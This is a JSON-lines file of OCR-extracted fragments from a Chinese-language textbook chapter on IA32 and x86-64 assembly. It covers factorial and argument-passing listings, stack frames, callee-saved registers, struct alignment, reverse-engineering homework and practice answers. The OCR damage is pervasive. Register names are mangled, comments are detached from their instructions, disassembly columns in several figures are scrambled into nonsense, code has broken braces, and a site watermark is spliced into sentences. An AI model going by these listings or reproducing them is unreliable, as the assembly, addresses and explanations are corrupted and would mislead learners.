    {"text": "1 fact_while: 2 n at pushl %ebp 3 movl %esp, °/ 0 ebp 4 movl 8(%ebp), %edx 5 movl $1, %eax 6 cmpl $1, %edx 7 jle • L7 8 .L10: 9 imull %edx, %eax 10 subl $1， %edx 1 1 cmpl $1, %edx 12 jg .L10 13 .L7: 14 popl %ebp 15 ret Save frame pointex- Create new frame pointer Get n Set resul t 1 Compare n:1 If <~, goto done . loop: Comuute result n * Decrement n ' \" Compare n:1 If >，goto loop done: Restore frame pointer Return result\na) IA32版本 fact_while: 2 n in °/„rdi movl $1, %eax Set result ~ 1 3 cmpl $1, %edi Compare n:1 4 jle .L7 If <-, goto done 5 • L10: loop: 6 imull %edi, %eax Compute result n 7 subl $1, %edi Decrement o ’ 8 cmpl $1, %edi Compare n:1 , 9 jg .L10 If >, goto loop 10 .L7: done: 11 rep (See explan a tion iu 12 ret Return result aside) b)x86-64 版本. 图3-39 IA32和X86-64版本的阶乘函数。"},
    {"text": "代码的第 11 行 , ：在每回指命 ret: 之前有 : 指 : 令 rep G 看了 Intel. 和 AMD 关 于 rep 指令的文档，我们得知通常用它来实现重复字符串操作 [3, 29]o 这里出现这条指令看 Ji 去完全不合时宜。"},
    {"text": "： . 'I\" ::. V W • long fun_c(unsigned long x) { , : . •- : long val : 0; … ... int i; '''- for ......: — — ; •」:....... ,.1 :. ....... ........ ..... ..... .:)\nreturn > GCC C编译器产生如下汇编代码\n$0, %ecx $0, %edx $72340172838076673, %rsi %rdi, %rax %rsi, %rax °/ 0 rax, %rcx %rdi $1, %edx $8) %edx • L2 %rcx, %rax $32, %rax %rcx, %rax %rax, %rdx $16, °/,rdX %rax, %rdx %rdx, %rax $8, %rax %rdx, %rax $255, %eax 6 7 B 9 10 11 12 13 14 15 16 17 18 19 21 22 23 Shift right by 1 fun_c: x in 7 0 rdi movl movl movabsq .L2: movq andq addq shrq addl cmpl jne movq sarq addq movq sarq addq movq sarq addq andl ret\n对这段代码做逆向工程，你会发现这对第4行的十进制常数转换为十六进制会有所帮助。"},
    {"text": "操作数大小 ( 位） 参数数量 1 2 3 4 5 6 64 %rdi %rsi %rdx %rcx %r8 %r9 32 %edi %esi °/ 0 edx %ecx %r8d %r9d 16 %di %si %dx %cx %r8w %r9w 8 %dil °/oSil %dl %cl %r8b %r9b 图3-40传递函数参数的寄存器。 根据参数的大小按照一定的顺序来使用这些寄存器 作为一个参数传递的示例，考虑下面这个有 8 个参数的C函数： void proc(long al, long *alp, int a2, int *a2p, short a3, short *a3p, char a4, char *a4p) { ♦alp += al; *a2p += a2; *a3p += a3; *a4p += a4; > 这些参数包括许多大小不同的整数（64、32、16和8位)，以及不同类型的64位的指针。 X86-64中这个函数的实现如下： x86-64 implementation of function proc Arguments passed as follows: al in Xrdi (64 bits) alp in %rsi (64 bits) 8.2 in Zedx (32 bits) a2p in Xrcx (64 bits) a3 in %r8^ (16 bits) a3p in Xr9 (64 bits) a.4 at e /oTSp+8 (8 bits) a.4p at %rsp+.7.<5 (64 bi ts) 1 proc: 2 movq 16(%rsp), %rl0 Fetch a4p (64. bits) 3 addq %rdi, (%rsi) al (64 bits) 4 addl %edx, (%rcx) *a2p +: a.? (32 bits) 5 addw %r8w, (%r9) *a3p += a3 <16 bits) 6 movzbl 8(%rsp), %eax Fetch a4 (8 bits) 7 addb %al, (°/orlO) *a4p a.4 (8 bi ts) 8 ret 前6个参数用寄存器传递，而后两个在相对于栈指针偏移量为8和16的地方。 根据操作数的大 小使用不同版本的add指令 ： 对al用addq (long),对a 2 用addl (int),对a3用addw (short),而对 a4 用 addb (char)。"},
    {"text": "该函数有如下主体： *q += *t; 编译得到下面的X86-64代码： incrprob: addl (%rdx), %edi 1 ,: movl %edi, (%rdx) movslq %edi,%rdi addq %rdi, (%rsi) ret ‘ 通过确定3个参数的顺序和可能的类型，确定incrprob的全部4种合理,的函数原型。"},
    {"text": "如果所有的局部变量都能保存在寄存器 中，而且这个函数也不会调用其他函数（参考过程调用的树结构，有时称之为叶子过程（leaf procedure))，那么需要栈的唯一原因就是用来保存返回地址。 另一方面，使得函数可能需要栈帧的原因如下： •局部变量太多，不能都放在寄存器中。"},
    {"text": "与IA32的 代码不同，那里栈指针会随着值的压入和弹出不断前后移动，但是X86-64过程的栈帧通常有固 定的大小，在过程开始时通过减小栈指针（寄存器％3：叩）来设置。"},
    {"text": "每当一个函数（调用者）要调用另一个函数（被调用者）时，返回地址会被压入栈中。 通 常，我们认为这是调用者栈帧的一部分 ， 它编码的是某种调用者的状态。"},
    {"text": "long int call_proc() long xl = 1; int x2 = 2; short x3 = 3; char x4 = 4; proc(xl, &xl, x2, &x2, x3, &x3, x4, &x4); return (xl+x2)*(x3-x4); > GCC产生下面的x86-64代码 x86~64 implementation of call^proc call_proc: subq $32 } %rsp Allocate 32~byte stack -frame movq $1, 16(%rsp) Store 1 in &xi Scx2 A movl $2, 24(%rsp) Store movw $3, 28(%rsp) Store movb $4, 31(%rsp) Store 4 in 7 leaq 24(%rsp )， %rcx 8 leaq 16(%rsp), %rsi 9 leaq 31(%rsp), %rax 10 movq %rax, 8(%rsp) 11 movl $4, (%rsp) 12 leaq 28(%rsp), %r9 13 movl $3, %r8d '14 movl $2, %edx 15 movl $1, %edi 1 o call proc 17 movswl 28(%rsp),%eax 18 movsbl 31(%rsp),%edx 19 20 subl cltq %edx, %eax 21 movslq 24(%rsp),%rdx 22 addq 16( 0 / 0 rsp) , %rdx 23 imulq %rdx, °/ 0 rax 2A 25 addq ret $32, %rsp Pass &x2 as eirgumen t ： Pass &x:l ,：as argument Compute &x4 Pass kx4 as argument Pasvj. Pass i Pass Pass Pass Call Compute x3~x Sign extend Compute xl+:x:2 Compute (xl+x2)*(x3~x4) Deallocate stack Irame Return 4 as argument x3 as argument 3 a.s argument 2 as argument 1 as argument and con vert to and con vert to long‘ int\n图3»41a说明了在执行call_proc时，栈帧的建立。"},
    {"text": "31 28 32 x4 x3 x2 24 x4 x3 x2 24 xl 16 xl 16 参数 8 栈指针 8 参数 8 栈指针 8 参数 7 %rsp ► 0 参数 7 %rsp ► 0 返回地址 a) 调用 proc 之前 b) 调用 proc 过程中 图3-41 call_proc的栈帧结构。"},
    {"text": "4.寄存器保存惯例 我们看到在IA32中（3.7.3节）有些用来保存临时值的寄存器被指定为调用者保存，函数可以 自由地覆盖这些寄存器的值；"},
    {"text": "www.TopSage.com\n有调用者保存的唯时寄存器吗 在16个通用目的寄存器中，我们看到有6个是用来传递参数，6个是由被调用者保存的 临时寄存器， 1 个（％rax)保存函数的返回值，还有 1 个（％rsp)作为栈指针，只剩下％rlO 和％ 111 是作为调用者保存的临时寄存器。"},
    {"text": "我们用一个递归阶乘函数的某些不寻常的版本为例，说明被调用者保存寄存器的使用： / 本 Compute x! and store a.t re suit p */ void sfact.helper(long int x, long int *resultp) { if (x <= 1) ♦resultp = 1; else { long int nresuit; sfact_helper(x~l, fenresult); *resultp = x * nresult; 要计算值x的阶乘，这个函数的最顶层调用如下： long int sf act (long int x) ■C long int result; sfact^helper(x, &result); return result; > sfact_helper的x 86 _ 64 代码如下所示。 Arguments: x in Xrdi., resultp in Zrsi •1 sfact Jielper: 2 movq %rbx, -16(%rsp) Save Zrbx (callee save) 3 movq %rbp, -8(%rsp) Save %rbp (callee save) 4 subq $40, %rsp Allocate 40 bytes on stack 5 movq %rdi, %rbx Copy .x to 6 / 0 r'bx 6 movq %rsi, %rbp Copy resultp to %rbp 7 cmpq $1, %rdi Compare x;1 B jg .L14 If >, goto recur 9 movq $1, (%rsi) Store 1 in *resultp 10 卿 .L16 Goto done 11 • L14: recur: 12 leaq 16(%rsp), %rsi Compute ^nresult as second argument B leaq -l(%rdi), %rdi Compute xml ~ x-l as ..first argi?. 出 ent 14 call sfact_helper Call sfactjielper(xinl , &nresul i) 15 movq %rbx, %rax Copy x 16 imulq 16(%rsp), %rax Compute x*nresult 17 movq %rax, (%rbp) Store at resul tp 18 • L16: done: 19 movq 24(°/ 0 rsp) , %rbx Restore %rbx 20 movq 32(%rsp), %rbp Restore %rbp 21 addq $40, %rsp Deallocate stack 22 ret Ret mm 图342说明了 sfactjielper是如何用栈来存储被调用者保存寄存器的值,以及保存局部变 量nresult。"},
    {"text": "这个实现有一个有趣的特性，它调用的两个被调用者保存寄存器(%rbxfP%rbp)被 www.TopSage.com\n保存在栈上（第 2 〜3行)，之后栈指针减少（第4行）以分配栈帧。"},
    {"text": "栈指针 n 存储 %rbp 存储 ％rbx %rsp ^ 0 -8 -16 存储％ rt>p 栈指针减少之前 nresult 存储 ％rbx +32 +24 +16 +8 找指针 %rsp 令 0 栈指针减少之后 图3-42函数sfactjielper的栈帧。"},
    {"text": "X86-64 ABI [73]指明程序可以使用当前栈指针之外128字节的范围 (即低于当前找指针的值hABI将这个区域称为红 色地带 （redone),必须保持当栈指针移动时, 红色地带可读可写。"},
    {"text": "_练习题3.51对于C程序 long int local_array(int i) { long int a[4] = {2L, 3L, 5L, 7L>; int idx = i & 3; return a[icjx]; > GCC产生如下代码： x86-64 implementatj.on of local_array 1 Argument: i in tedi local_array: 2 movq $2, -40(%rsp) 3 movq $3, -32(%rsp) 4 movq $5, ~24(%rsp) 5 movq $7, -16(%rsp) 6 andl $3, %edi 7 movq -40(%rsp,%rdi,8), %rax 8 ret 画图说明这个函数使用的栈位置，以及它们相对于栈指针的偏移量。"},
    {"text": "x86~64 implemntation • of reciwsife factorial f.ijjnctdoii rfact Argument x in Xrdi\nrfact: pushq movq movl %rbx %rdi, %rbx $1, %eax %rdi, %rdi • Lll -l(%rdi), %rdi rfact %rbx, %rax %rbx jle leaq call imulq Lll: popq ret ]] 12.\n函数存储在％rbx中的是什么值？"},
    {"text": "3:13,5数据结构 丨* 々 x86^64中数据结构遵循的原则与IA32的亡样 •: 数组是作为同样大小的块的序列来分配，这 些块中保存着数组元素；"},
    {"text": "因此，数据类型long和double以及指针，都必须在 8 字节边 界上对齐。 此外，数据类型long double使用16字节对齐（分配也是16个字节大小)，虽然 实际表示只需要 10 个字节。"},
    {"text": "struct PI { int i; char c; long j; char d; >; struct P2 { long i; char c; char d; int j; >; struct P3 { short w [3] ; char c[3] }; struct P4 { short w[3] ; char*c[3] }; struct P3 { struct PI a [2] ; struct P2 *p }; 3.13.6关于X86-64的总结性评论 将x 86 处理器带入新纪元的功臣是AMD和:GCC的作者。"},
    {"text": "x 86 _ 64 硬件和编程规则的形 成改变了处理器，过去它严重依赖宇栈来保¥程序状态，现在则是将最常使用的状态部分保 存在更快并扩展了的寄存器组中。"},
    {"text": "现在许多桌面电脑和笔 记本系统都还是运行的它们操作系统的32位版本 ， 这也限制了这些机器只能运行32位应用。 运 行64位操作系统的机器，由于其能够运行32位和64位应用，已经成为高端机器的普遍选择， 例如，数据库服务器和科学计算。"},
    {"text": "历史表明应用总是能变\n得充分使用所有可得的处理能力和存储器大小，因此我们可以很放心地预测，运行64位操作系 统和应用的64位处理器会逐渐变得更普遍。"},
    {"text": "为了实现使用浮 点数据的程序，我们必须用一些方法来存储浮点数据，同时还要有额外的指令对浮点值进行操 作、在浮点和整数值之间进行转换，以及在浮点数之间进行比较。"},
    {"text": "在栈模型中，有些指令从存储器读出值，再压 入栈中； 另一些指令从栈中弹出操作数，执行一个操作，然后把结果压入栈中； 还有一些从栈中 弹出值，再把它们存到存储器中。"},
    {"text": "结 果，x87体系结构实现了一个>(艮奇特的栈模型和寄存器模型的混合，这里栈的不同元素可以显式 地读和写，同时也可以通过压入和弹出来向上或者向下移动。"},
    {"text": "网络旁注ASM:SSE SSE浮点体系结构 SSE2指令集，从Pentium4开始，增加了对多媒体应用的支持，成为编译C代码的一种可行的 浮点体系结构。"},
    {"text": "这 种代码可以看成是虚拟机的机器级程序。 正如它的名字暗示的那样，这种机器并不是直接用硬 件实现的，而是用软件解释器处理字节代码，模拟虚拟机的行为。"},
    {"text": "读指令描述很复杂，原因是1)所有的文 档都基于Intel汇编代码格式， 2 )由于不同的寻址和执行模式，每条指令都有多个变种，3)没 有说明性示例。"},
    {"text": "代码体如下： x at %ebp+S, y at %ebp+i2, z at %ehpfl6 1 movl 16(%ebp), %edx 2 subl 12(%ebp), %edx 3 movl %edx, %eax •4 sail $15, %eax 5 sari $15, %eax 6 xorl 8(%ebp), %edx 7 imull %edx, %eax 参数 x、y 和 2 : 存放在存储器中相对于寄存器％ 66? 中地址偏移量为 8 、 12 和 16 的地方。"},
    {"text": "typedef long long ll_t; void store_prod(ll__t *dest, ll_t x, int y) { *dest = x*y; > GCC生成下面的汇编代码实现计算： dest at %ebp 十 S, x at %ebp-f22, ;/ at %ebp+20 1 movl 12(°/ 0 ebp) , %esi 2 movl 20(%ebp), %eax movl %eax, %edx sari $31, %edx 5 movl °/ 0 edx, %ecx 6 imull %esi, %ecx 7 movl 16(%ebp), %ebx 8 imull %eax, %ebx 9 addl %ebx, %ecx 10 mull %esi 11 leal (%ecx,%edx), %edx 12 movl 8(%ebp), %ecx 13 movl %eax, (%ecx) 14 movl %edx, 4(%ecx) **3.56 这段代码用了三个乘法来实现多精度运算，这个多精度运算是在32位机器上实现64位运算所需 要的。"},
    {"text": "考虑下面的汇编代码 ： x at %ebp+8, n at %ebp+12 1 movl 8(%ebp), %esi 2 movl 12(7„ebp), %ebx 3 movl $1431655765, %( A movl $-2147483648, ： 5 .L2: 6 movl %edx, %eax 7 andl %esi, %eax 8 xorl %eax, %edi 9 movl %ebx, %ecx 10 shrl %cl, %edx n testl %edx , %edx jne .L2 movl %edi, %eax 以上代码是以下整体形式的C代码编译产生的： int loop(int x, int n) { int result = ; int mask; for (mask = — ; mask ; mask = ) { result 一： ............ ; } return result; > 你的任务是填写这个C代码中缺失的部分，得到一个程序等价于产生的汇编代码。"},
    {"text": "**3.57在3.6.6节，我们查看了下面的代码，作为使用条件数据传输的一种选择： int cread(int *xp) { return (xp ? *xp : 0); > 我们给出了使用条件传送指令的一个尝试实现，但是认为它是不合法的，因为它试图从一个空地址 读数据。"},
    {"text": "/* Enumerated type creates set of constants numbered 0 and upward */ typedef enum {M0DE_A , M0DE_B, M0DE_C , M0DE_D , M0DE_E} mode_t; int switch3(int *pl, int *p2, mode_t action) { int result = 0; switch(action) { case M0DE_A: case M0DE_B: case M0DE_C:\ndefault: > return result; > 产生的实现各个动作的汇编代码部分如图3-43所示。"},
    {"text": "Arguments: pi at %ebp+S, p2 at action at %ebp+16 Registers: result in %edx (initialized to -1) The jump targets: 1 • L17: MODE—E 2 movl $17, 7 0 edx 3 jmp .L19 4 • L13: MODENA 5 movl 8(%ebp), %eax 6 movl (%eax), %edx 7 movl 12(%ebp), %ecx B movl (%ecx), %eax 9 movl 8(%ebp), %ecx 10 movl %eax, (%ecx) 11 jmp • L19 12 • L14: MODE^B •13 movl 12(%ebp), %edx 14 movl (%edx), %eax 15 movl %eax, %edx 16 movl 8(%ebp), %ecx 17 addl (%ecx), %edx 18 movl 12(%ebp), %eax 19 movl %edx, (%eax) 20 卿 .L19 21 • L15: MODE_C 22 movl 12(%ebp), %edx 23 movl $15, (%edx) 24 movl 8(%ebp), %ecx 25 « movl (%ecx), %edx 26 jmp .L19 27 .L16: HODEJD 28 movl 8(%ebp), %edx 29 movl (%edx), %eax 30 movl 12(%ebp), %ecx 31 movl %eax, (%ecx) 32 movl $17, %edx 33 .L19: default 34 movl %edx, %eax Set return 图3-43家庭作业3.58的汇编代码。"},
    {"text": "在下面这个过程中，去掉了 switch语句的 主体： int switch_prob(int x, int n) ■c int result = x; switch(n) •[ /* Fill in code here */ > return result; 图3-44给出了这个过程的反汇编机器代码。"},
    {"text": "1 08048420 2 8048420 3 8048421 4 8048423 5 8048426 6 8048429 7 804842c 8 804842e 9 8048435 10 8048438 11 804843a 12 804843d 13 8048440 14 8048442 15 8048445 16 8048448 17 804844a 18 804844d 19 8048450 20 8048452 21 8048455 22 8048458 23 804845b 24 8048456 25 8048461 26 8048462 r c 8 5 58 80 83 83 8 3 8 0 1 p 0 2 0 80 OO OO OO ooocl h- 5588745456950758f505lf0 c e4efo2424714el4fo4e43c t ■159b337fbbbdbblbblbblbf3d3 W588887f868868 c e 8 c e 8 C2085 c push mov mov sub cmp ja jmp mov jmp mov lea jmp mov shl jmp mov sar jmp mov shl sub imul add pop ret %ebp %esp,%ebp Oxc(%ebp),%eax $0x28,%eax $0x5,%eax 85 04 08 8048435 <switch_prob+0xl5> *0x80485f0( ，％ eax,4) 0x8(%ebp),%eax 804845e < swit ch_prob+0x3e> 0x8(%ebp),%eax 0x0(%esi),%esi 804845b <switch_prob+0x3b> 0x8(%ebp),%eax $0x3，％eax • 8048461 <switch_prob+0x41> 0x8(%ebp),%eax $0x3,%eax 8048461 < swit ch_prob+0x41> 0x8(%ebp),%eax $0x3,%eax 0x8(%ebp),%eax %eax,%eax $0xll,%eax\n图3-44家庭作业3.59的反汇编代码 跳转表驻留在另一个存储器区域中。"},
    {"text": "GDB打印出下面的内容：. (gdb) x/6w 0x80485f0 0x80485f0: 0x08048442 0x08048435 0x08048442 0x0804844a 0x8048600: 0x08048452 0x0804843a 用c代码填写开关语句的主体，使它的行为与机器代码一致。"},
    {"text": "3.60考虑下面的源代码，这里及、S和r都是用#define声明的常数： int A[R] [S] [T]; int store_ele(int i, int j, int k, int *dest) { ♦dest = A[i] [j] [k]; return sizeof(A); ,\n编译这个程序，GCC产生下面的汇编代码\n%ebp+20 it %ebp-^S, j at 7 6 ebpf ： l2, k at %ebp 6, dest movl 8(%ebp), %ecx movl 12( 0 / 0 ebp), %eax leal (%eax,%eax,8), %eax movl %ecx, %edx 5 6 7 9 10 V! 12 sail $6, %edx subl %ecx, %edx addl %edx, %eax addl 16(°/ 0 ebp), %eax movl A(,°/,eax,4) , %edx movl 20(%ebp), %eax movl %edx, (%eax) movl $2772, %eax\n将等式（3-1)从二维扩展到三维，提供数组元素A[i] [j] [k]的位置的公式。"},
    {"text": "**3.61 C编译器为var_p r0 d_ele产生的代码（图3-29)不能将它在循环中使用的所有值都放进寄存器 中，因此它必须在每次循环时都从存储器中读出《的值。"},
    {"text": "下面的代码转置一个MXM矩阵的元素，这里M是一个用#define定义的常数： void transpose(int A[M] [M]) { int i, j; for (i = 0; i < M; i++) for (j = 0; j < i; j++) { int t = A[i] [j]; ACi] [j] = A[j][i]; A[j] [i] = t; > } 当用优化等级-02编译时，GCC为这个函数的内循环产生下面的代码： 1 . L3: 2 movl (%ebx), %eax 3 movl (%esi,%ecx,4), %edx A movl %eax, (%esi,%ecx,4) .5 addl $1, %ecx <5 movl %edx, (%ebx) 7 addl $76, 7„ebx 8 cmpl %edi, %ecx 9 jl .L3 A.M的值是多少？"},
    {"text": "I int sum_col(int n, int A[El(n)][E2(n)], int j) { 2 int i; 3 int result = 0; 4 for (i = 0; i < ElCn); i++) 5 result += A[i] [j] ; 6 7 return > result ; 编译这个程序，GCC产生下面的汇编代码： n at %ebp-f-8 , .A at %ebp+L2, j at %ebp+16 1 movl 8(°/ 0 ebp) , %edx 2 leal (%edx,%edx), %eax 3 leal -l(°/ 0 eax), %ecx A leal (%eax,%edx), %esi 5 movl $0, °/ 0 eax 6 testl %esi, %esi 7 jle • L3 8 leal 0(,°/ o ecx,4), %ebx 9 movl 16(%ebp), %eax •10 movl 12(%ebp), %edx 11 leal (%edx,%eax,4), %ecx 12 movl $0, %edx 13 movl $0, %eax '14 .L4: 15 addl (%ecx), %eax 16 addl $1, %edx 17 addl %ebx, %ecx 18 cmpl %esi, %edx •19 jl • L4 20 .L3: 运用你的逆向工程技术，确定El和E2的定义。"},
    {"text": "> strl; typedef struct int prod; int sum; > str2; str2 word_sum(strl si) { str2 result; result.prod = *sl.p * sl.v; result. sum = *sl.p + sl.v; return result; > int diff (int x, int y) strl si; str2 s2; si.p = &x; sl.v = y; s2 = word_sum(sl); return s2.prod - s2.sum; > GCC为这两个函数产生下面的代码 diff: 2 pushl %ebp 2 pushl %ebp 3 movl %esp, %ebp 3 movl %esp, °/ 0 ebp 4 pushl °/ 8 ebx A subl $20, %esp 5 movl 8(%ebp), °/ 0 eax 5 leal -8(%ebp), %edx 6 movl 16(°/ 0 ebp), %ebx 6 leal 8(°/ 0 ebp), %eax 7 movl 12(%ebp), %edx 7 .movl 7»eax, 4(%esp) B movl (%edx), %edx 8 movl 12(%ebp), %eax 9 leal ( 0 / 0 edx,7 0 ebx) , %ecx 9 movl %eax, 8(%esp) 10 movl %ecx, 4(%eax) 10 movl %edx, (%esp) 11 imull %ebx, %edx 11 call word_sum 12 movl %edx, (%eax) 12 subl $4, %esp 13 popl %ebx 13 movl -8(%ebp), %eax 14 popl %ebp 14 subl -4(%ebp), %eax 15 ret $4 15 leave 16 ret 指令ret $4很像普通的返回指令，但是它将栈指针增加了 8 (4个是为了返回地址，加上 4 的加 法），而不是4。"},
    {"text": "3.65在下面的代码中，3和5是用#define定义的常数： typedef struct { short x[A][B]; /* Unknown constants A and B */ int y; strl; typedef struct { char array[B]; int t; short s [B]; int u; str2; void setVaKstrl *p, str2 *q) •[ int vl = q->t; int v2 = q->u; p->y = vl+v2; } GCC为setVal的主体产生下面的代码\n12(%ebp), %eax 28(%eax), %edx movl movl\naddl 8(%eax), %edx movl 8(%ebp), %eax movl %edx, 44(%eax) A和B的值是多少？"},
    {"text": "） ** 3.66你负责维护一个大型的C程序时，遇到下面这样的代码： typedef struct { int left; a_struct a [CNT] ; int right; } b_struct; 6 void test(int i, b_struct *bp) { int n = bp->left + bp->right; a_struct *ap = &bp->a[i]; ap->x[ap->idx] = n; >\n编译时常数CNT和结构a_struct的声明在一个你没有访问权限的文件中。"},
    {"text": "h b 1 LSvLSvvuaLbldvldvppt uouoomeudodoooe pmpmmilsamamppr 00 o o o o o o o o o 4 0 8 o o o o : 8CC5 98 1 > oolc 1C 9 t s 5 5d8424114 e e 44dl C5804 ^593bbbd93b39bd3 58588682080855 c 00 00 00:1:3:4:7:a:d:4:6:a:0:2:6:7:8: o 11122222 %ebp %esp,%ebp %ebx 0x8(%ebp),%eax Oxc(%ebp),%ecx $0x1c,%eax,%ebx 0x0(,%eax,8),%edx %eax,%edx 0x4(%ecx,%ebx,1),%edx 0xc8(%ecx),%eax (%ecx),%eax %eax,0x8(%ecx,%edx,4) %ebx 7«ebp\n图3-45家庭作业3.66的反汇编代码 运用你的逆向工程技术，推断出下列内容： CNT的值。"},
    {"text": "下面的过程（省略了一些表达式）对一个链表进行操作，链表是以上述联合作为元素的： void proc (union ele *up) up-> = * (up-> ) _ up-> ; > 下列字段的偏移量是多少（以字节为单位）： el.p:.： „•… el.x: ©2•y_ e2.next: 这个结构总共需要多少个字节？"},
    {"text": "编译器为proc的主体产生下面的汇编代码 ： up at %ebp+S • movl 8(%ebp), %edx movl 4(°/ 0 edx), %ecx movl (%ecx), %eax A movl (%eax) , %eax subl (%edx)， %eax movl %eax f 4(%ecx) 在这些信息的基础上 ， 填写proc代码中缺失的表达式。"},
    {"text": "*3.69下面的声明定义了一类结构，用来构建二叉树： typedef struct ELE *tree_ptr; 2 struct ELE { tree_ptr left; tree_ptr right; long val; 对于具有如下原型的函数 long trace(tree_ptr tp); GCC产生下面的x86-64代码\ntrace: tp in %.rdi movl testq je . L5: movq movq $0, %eax %rdi, %rdi .L3 16(%rdi), %rax (%rdi), %rdi\ntestq %rdi, %rdi jne .L5 .L3: rep ret A•给出一个该函数的C版本，使用while循环。"},
    {"text": "**3.70 用家庭作业 3.69 中的树结构，以及一个具有以下原型的函数 long traverse(tree_ptr tp); GCC 产生下面的 x86-64 代码： 1 traverse : tp in %rdi 2 movq %rbx, -24(%rsp) 3 movq %rbp, -16(%rsp) A movq %rl2, -8(%rsp) 5 subq $24, %rsp 6 movq %rdi, %rbp 7 movabsq $92233720368547 8 testq %rdi, °/ 0 rdi 9 je • L9 10 movq 16(%rdi), %rbx .11 movq (%rdi), %rdi 12 call traverse 13 movq %rax, %rl2 14 movq 8(%rbp), %rdi •15 call traverse 16 cmpq %rax, %rl2 17 cmovle %rl2, %rax 18 cmpq %rbx, %rax 19 cmovg %rbx, %rax 20 .L9: 21 movq (%rsp), %rbx 22 movq 8(%rsp), °/ 0 rbp 23 movq 16(%rsp), %rl2 24 addq $24, %rsp 25 ret 生成这个函数的 C 版本。"},
    {"text": "操作数 值 注释 °/ 0 eax 0x100 寄存器 0x104 OxAB 绝对地址 $0x108 0x108 立即数 (%eax) OxFF 地址0x100 4(%eax) OxAB 地址0x104 9(%eax,%edx) 0x11 地址OxlOC 260(%ecx,%edx) 0x13 地址0x108 0xFC(,%ecx,4) OxFF 地址0x100 (7 0 eax,%edx,4) 0x11 地址OxlOC\n练习题 3.2正如我们巳经看到的，GCC产生的汇编代码指令有后缀，而反汇编代码没有。"},
    {"text": "以下是带后缀的代码： movl %eax, (%esp) movw (%eax), %dx movb $0xFF, %bl movb (°/ 0 esp,7 0 edx,4), %dh. pushl $0xFF movw %dx, (%eax) popl %edi 练习题 3.3由于我们会依赖GCC来产生大多数汇编代码,.所以能够写正确的汇编代码并不是一项很关键 的技能。"},
    {"text": "下面是有错误解释的代码： 1 movb $OxF, (%bl) Caz.U7.o 亡 use %bl as address register 2 movl %ax, (%esp) Mismatch between instruction suffix and register ID 3 movw (°/ 0 eax) ,4(%esp) Cannot have both source and destination be memory references 4 movb %ah } %sh. No register named Xsh 5 movl %eax,$0x123 Cannot have immediate as destination 6 movl %eax,%dx Destination operand incorrect size 7 movb %si, 8(%ebp) Mismatch between instruction suffix and register ID 练习题 3.4这个练习给你更多经验，关于不同的数据传送指令，以及它们与C语言的数据类型和转换规 则的关系。"},
    {"text": "src_t dest_t 指令 int char char unsigned char int unsigned unsigned int int unsigned int char unsigned char int movl %eax, (%edx) movsbl %al, (%edx) movsbl %al, (%edx) movzbl %al, (%edx) movb %al, (%edx) movb %al, (%edx) movl %eax, (%edx) 练习题 3_5逆向工程是一种理解系统的好方法。"},
    {"text": "于是，我们可以得到以下效果： xp at %ebp+S, yp at %ebp+i2., zp at %ebp+i6 •l movl 8(%ebp), %edi Get xp 2 movl 12(%ebp), %edx Get yp 3 movl 16(%ebp), %ecx Get zp 4 movl (%edx), %ebx Get y 5 movl (%ecx), %esi Get z 6 movl (%edi), %eax Get x 7 movl %eax, (%edx) Stoire x a.t 8 movl %ebx, (%ecx) Store y at 9 movl %esi, (%edi) Store z at 由此我们可以产生下面这样的C代码：\nvoid decodel(int *xp, int *yp, int *zp) int tx = =*xp int ty : :*yp int tz = *zp X y z t t t II -I _l ypzpxp * * * 练习题 3_6这个练习说明了 leal指令的多样性，同时也让你更多地练习解读各种操作数形式。"},
    {"text": "栺令 结果 leal 6 (°/ 0 eax) , %edx leal (%eax,%ecx) , %edx leal (%eax,%ecx,4), %edx leal 7(%eax,%eax,8) , %edx leal 0xA(,%ecx,4), %edx leal 9(%eax,%ecx,2) , %edx 6 + x x-^y x-VAy l + 9x 10 + 4}；"},
    {"text": "指令 目的 值 addl %ecx, (%eax) subl %edx, 4 (%eax) imull $16, (%eax,%edx,4) incl 8(%eax) decl %ecx subl %edx, %eax 0x100 0x104 OxlOC 0x108 %ecx %eax 0x100 0xA8 0x110 0x14 0x0 OxFD 练习题 3.8这个练习使你有机会生成一点汇编代码。"},
    {"text": "将参数n加载到寄存器％ecx 中，可以用字节寄存器％cl来指定sari指令的移位量： movl 8(°/ 0 ebp), %eax Get x sail $2, %eax x <<: 2 movl 12 (7 0 ebp), %ecx Get n sari °/ 0 cl, %eax x »= n 练习题 3.9这个练习比较简单，因为每个表达式都是由一条指令来实现的 ， 而且表达式的顺序都没有变。"},
    {"text": "int tl = x 一 y; int t2 = tl » 3; int t3 = ~t2; int t4 = t3-z; 练习题 3.10 这个指令可以将寄存器％6办设置为0,运用了对任意;c,x a jc = 0这一属性。"},
    {"text": "练习题 3.11我们可以简单地把cltd指令替换为将寄存器％edx设置为0的指令，并且用divl而不是 idivl作为我们的除法指令 ， 得到下面的代码：\nx at y c ebp+8 , y at %ebp+i2 movl 8(°/ 0 ebp) ,°/ 0 eax movl $0,%edx divl 12(%ebp) movl %eax, 4(%esp) movl %edx, (%esp) Load x into %eax Set high-order bits to 0 (Fnsigned divide by y Store x / y Store x % y\n练习题 3.12 A.我们可以看到，这个程序是在64位数据上进行多精度操作。"},
    {"text": "因 此可以设s为的低32位，而/为jc•乃的完整的64位乘积，可以将之划分为高位部分4和低位部分& 最终的结果是是低位部分，而是高位部分。"},
    {"text": "这里是添加了注释的汇编代码：\n%ebp+16* dest at 7 0 ebp+S t x at %ebp+.12, y a Get x Get yji Compute s ~ x^y.....h Compute t ~ x*y_l Add s to Get dest Store t_l Store s+tji movl 12(%ebp), %eax movl 20(°/ o ebp), %ecx imull %eax, %ecx mull 16(%ebp) leal (7 0 ecx,7 0 edx), %edx movl 8(%ebp), %ecx movl %eax, (%ecx) movl %edx, 4(%ecx)\n练习题 3.13汇编代码不会记录程序值的类型，理解这点这很重要。"},
    {"text": "804828f: 74 05 je 80482% 8048291: e8 le 00 00 00 call 80482b4 jb 指令的目标是 0x8048359_ 25 ( 由于 Oxe 7 是 -25 的一个字节的补码表示）。"},
    {"text": "如原始的反汇编 代码所示，这就是 0x8048340 : 8048357: 72.e7 jb 8048340 8048359: c6 05 10 aO 04 08 01 movb $0x1,0x804a010 根据反汇编器产生的注释，跳转目标是绝对地址0x8048391。"},
    {"text": "减去这个值就得到地址0x804837f,反汇编代码也证实了这一点： 804837d: 74 12 je 8048391 804837f: b8 00 00 00 00 mov $0x0,%eax 、D•以相反的顺序来读这些字节，我们看到目标偏移量是OxffffffeO,或者十进制数一32。"},
